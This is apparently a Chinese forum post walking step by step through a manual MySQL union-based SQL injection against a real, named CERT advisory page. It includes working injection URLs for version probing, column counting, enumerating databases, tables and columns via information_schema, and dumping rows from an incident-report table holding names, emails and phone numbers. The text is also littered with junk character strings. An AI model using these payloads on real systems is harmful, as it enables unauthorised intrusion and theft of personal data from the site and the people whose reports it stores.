1.判断版本http://www.cert.org.tw/document/advisory/detail.php?id=7 and ord(mid(version(),1,1))>51 返回正常,说明大于4.0版本,支持ounion查询
5 @9 v, n+ ~$ ~5 I8 m, x) H/ \0 G2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解& n: {: B: h! J5 T7 T4 |& f D( a
http://www.cert.org.tw/document/advisory/detail.php?id=7 and 2=4 union select 1,2,3,4,5,6,7,8,9--
( E- ?+ _6 D+ g1 r$ p! X5 c4 ?3.查看数据库版本及当前用户,http://www.cert.org.tw/document/advisory/detail.php?id=7 and 2=4 union select 1,user(),version(),4,5,6,7,8,9--5 W( K) d: u* n
数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,有待牛人去考证。
, [ T S8 z# R |% ^+ |! h4.判断有没有写权限
( S F* M x4 `3 ~" D# W2 }" X$ Rhttp://www.cert.org.tw/document/advisory/detail.php?id=7 and (select count(*) from MySQL.user)>0-- 返回错误,没有写权限3 U# s- X! v7 j( x& ]; K
没办法,手动猜表啦7 Z" [5 G; `2 P2 f. x) W* H
5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1
6 o5 O7 P } g* H+ h- R# I但是这个点有点不争气,用不了这个命令,就学习了下土耳其黑客的手法,不多说,如下
( K, q/ Q; l! `7 {; @8 `* jhttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
' I+ o9 | Y* H1 `成功查出所有数据库,国外的黑客就是不一般。数据库如下:
2 L; _1 Q2 x4 ]information_schema,Advisory,IR,mad,member,mysql,twcert,vuldb,vulscandb
% @; ~ A" C% V* S' b* S- n, k6.爆表,爆的是twcert库
' b" c) M1 a4 ?! Z* Lhttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--
- M% C) j/ V4 z4 z7 q$ H$ o爆出如下表7 ^7 B8 L3 e* N! V
downloadfile,irsys,newsdata,secrpt,secrpt_big5 q1 H% J8 N# u( {2 S
7.爆列名,这次爆的是irsys表% I l* g9 s5 E% V/ y8 _
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--% X& `$ M+ h2 e1 t! s! O
爆出如下列1 d( s' d. x7 _7 C
ir_id,name,company,email,tel,pubdate,rptdep,eventtype,eventdesc,machineinfo,procflow,memo,filename,systype,status
# X, ~8 N6 N" X3 S) c8.查询字段数,到这一步,国内很少有黑客去查询字段数的,直接用limit N,1去查询,直接N到报错为止。
1 S" [! K2 T/ xhttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--
+ l& q/ u9 m, C6 e8 F& t返回是3,说明每个列里有3个地段& {9 f7 M' _3 r# V4 {, b
9.爆字段内容2 J) n, ^. J) R& ^, _# n2 J
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--+ n) B$ a1 [" y
爆出name列的第一个字段的内容
! q" O( e& y9 R+ i2 m4 s( mhttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--
, Y" p9 w7 Y% ~+ p爆出name列的第二个字段的内容 |